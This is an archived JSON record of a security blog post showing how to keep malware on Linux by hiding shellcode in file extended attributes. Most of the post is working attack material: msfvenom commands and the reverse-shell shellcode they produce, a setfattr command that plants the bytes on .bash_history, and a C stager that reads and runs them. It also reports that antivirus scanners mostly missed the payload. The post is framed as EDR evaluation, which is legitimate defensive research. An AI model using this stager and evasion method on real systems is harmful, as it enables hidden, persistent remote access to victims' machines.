{
	"id": "f52cb5df-ce6f-404e-8eb2-f017c9f4b996",
	"created_at": "2026-04-06T00:14:16.617717Z",
	"updated_at": "2026-04-10T13:12:58.752663Z",
	"deleted_at": null,
	"sha1_hash": "379dbec63c949715c625bf3d1bf2165fb16c5cc9",
	"title": "Establishing persistence using extended attributes on Linux",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 481216,
	"plain_text": "Establishing persistence using extended attributes on Linux\r\nArchived: 2026-04-05 22:08:54 UTC\r\nFinding a place to store your backdoor/beacon/malware data can be tricky. Some ways that come to mind: creating\r\nnew files, modifying existing ones or storing it in memory via /dev/shm .\r\nMalware on Windows has abused NTFS file attributes to store malicious data or binaries instead of metadata for a\r\nlong while. I had the idea to experiment with the same on Linux while conducting EDR evaluation testing at work.\r\nExtended attributes (xattrs) were added to Linux in 2002. As of 2024, they are not commonly used by user-space\r\nLinux programs.\r\nThe Linux kernel allows extended attribute names to have up to 255 bytes and values of up to 64 KiB, but Ext4\r\nand Btrfs might impose smaller limits, requiring extended attributes to be within a “filesystem block” (usually 4\r\nKiB). All major Linux file systems including Ext4, Btrfs, ZFS, and XFS support extended attributes. This makes\r\nxattrs a good candidate for establishing persistence on a Linux system.\r\nPoC stager that abuses extended attributes\r\nLet’s create a simple but easily detectable shellcode that spawns a reverse TCP shell using Metasploit.\r\nsiren@eek14:~/ \u003e msfvenom -p linux/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=5555 -b '\\x00' -f bash\r\n[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload\r\n[-] No arch selected, selecting arch: x64 from the payload\r\nFound 3 compatible encoders\r\nAttempting to encode payload with 1 iterations of x64/xor\r\nx64/xor succeeded with size 119 (iteration=0)\r\nx64/xor chosen with final size 119\r\nPayload size: 119 bytes\r\nFinal size of bash file: 533 bytes\r\nexport buf=\\\r\n$'\\x48\\x31\\xc9\\x48\\x81\\xe9\\xf6\\xff\\xff\\xff\\x48\\x8d\\x05\\xef'\\\r\n$'\\xff\\xff\\xff\\x48\\xbb\\x87\\x22\\xe0\\xd6\\x4b\\x28\\x0d\\x73\\x48'\\\r\n$'\\x31\\x58\\x27\\x48\\x2d\\xf8\\xff\\xff\\xff\\xe2\\xf4\\xed\\x0b\\xb8'\\\r\n$'\\x4f\\x21\\x2a\\x52\\x19\\x86\\x7c\\xef\\xd3\\x03\\xbf\\x45\\xca\\x85'\\\r\n$'\\x22\\xf5\\x65\\x34\\x28\\x0d\\x72\\xd6\\x6a\\x69\\x30\\x21\\x38\\x57'\\\r\n$'\\x19\\xad\\x7a\\xef\\xd3\\x21\\x2b\\x53\\x3b\\x78\\xec\\x8a\\xf7\\x13'\\\r\n$'\\x27\\x08\\x06\\x71\\x48\\xdb\\x8e\\xd2\\x60\\xb6\\x5c\\xe5\\x4b\\x8e'\\\r\n$'\\xf9\\x38\\x40\\x0d\\x20\\xcf\\xab\\x07\\x84\\x1c\\x60\\x84\\x95\\x88'\\\r\n$'\\x27\\xe0\\xd6\\x4b\\x28\\x0d\\x73'\r\nNow, we need to store the bytes in the extended attributes of a file (a directory is a file too!).\r\nhttps://kernal.eu/posts/linux-xattr-persistence/\r\nPage 1 of 4\n\nsiren@eek14:~/ \u003e setfattr --name=user.1337 --value=\"$buf\" .bash_history\r\nNow the contents of the shellcode are stored in the user extended attribute called “1337” of the file .bash_history.\r\nsiren@eek14:~/ \u003e getfattr --encoding=hex --dump .bash_history\r\n# file: .bash_history\r\nuser.1337=0x4831c94881e9f6ffffff488d05efffffff48bb8722e0d64b280d7348315827482df8ffffffe2f4ed0bb84f212a5219867cef\r\nWe can read and execute the extended file attribute which launches the reverse shell.\r\n#include \u003cstdio.h\u003e\r\n#include \u003csys/xattr.h\u003e\r\n// gcc -fno-stack-protector -z execstack stager.c\r\nint main() {\r\n const char *file_path = \"/home/siren/.bash_history\";\r\n const char *attr_name = \"user.1337\";\r\n char attr_value[119];\r\n ssize_t ret;\r\n ret = getxattr(file_path, attr_name, attr_value, sizeof(attr_value));\r\n if (ret == -1) {\r\n perror(\"getxattr\");\r\n return 1;\r\n }\r\n int (*func)();\r\n func = (int (*)()) attr_value;\r\n (int)(*func)();\r\n}\r\nSo far, so simple. One way to achieve further complexity and obfuscation is by splitting the shellcode across\r\ndifferent files. I have yet to see an EDR program in 2024 that scans extended attributes for malware in Linux, so I\r\ndidn’t feel the need to do this.\r\nDetection results\r\nExtended file attributes are not kept when a file is uploaded through a web browser. In order to preserve them, I\r\ncreated a tar archive.\r\nsiren@eek14:~/ \u003e tar --xattrs -cvf bashhistory.tar .bash_history\r\nThe results:\r\nhttps://kernal.eu/posts/linux-xattr-persistence/\r\nPage 2 of 4\n\nThe single positive vendor most likely detects this because it scans all bytes in the tar archive\r\nregardless of where they're located and doesn't care about heuristics. This won't be the case\r\nwith local AV/EDR scans.\r\nFor comparison, I created the same shellcode but in ELF format and uploaded it.\r\nsiren@eek14:~/ \u003e msfvenom -p linux/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=5555 -b '\\x00' -f elf -o deliver\r\n[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload\r\n[-] No arch selected, selecting arch: x64 from the payload\r\nFound 3 compatible encoders\r\nAttempting to encode payload with 1 iterations of x64/xor\r\nx64/xor succeeded with size 119 (iteration=0)\r\nx64/xor chosen with final size 119\r\nPayload size: 119 bytes\r\nFinal size of elf file: 239 bytes\r\nSaved as: delivery\r\nThe results:\r\nhttps://kernal.eu/posts/linux-xattr-persistence/\r\nPage 3 of 4\n\nIt glows as expected.\r\nGotchas\r\nBy default, extended attributes are not preserved by tar, cp, rsync, and other similar programs, see #Preserving\r\nextended attributes on Arch Wiki.\r\nSource: https://kernal.eu/posts/linux-xattr-persistence/\r\nhttps://kernal.eu/posts/linux-xattr-persistence/\r\nPage 4 of 4",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://kernal.eu/posts/linux-xattr-persistence/"
	],
	"report_names": [
		"linux-xattr-persistence"
	],
	"threat_actors": [],
	"ts_created_at": 1775434456,
	"ts_updated_at": 1775826778,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/379dbec63c949715c625bf3d1bf2165fb16c5cc9.pdf",
		"text": "https://archive.orkl.eu/379dbec63c949715c625bf3d1bf2165fb16c5cc9.txt",
		"img": "https://archive.orkl.eu/379dbec63c949715c625bf3d1bf2165fb16c5cc9.jpg"
	}
}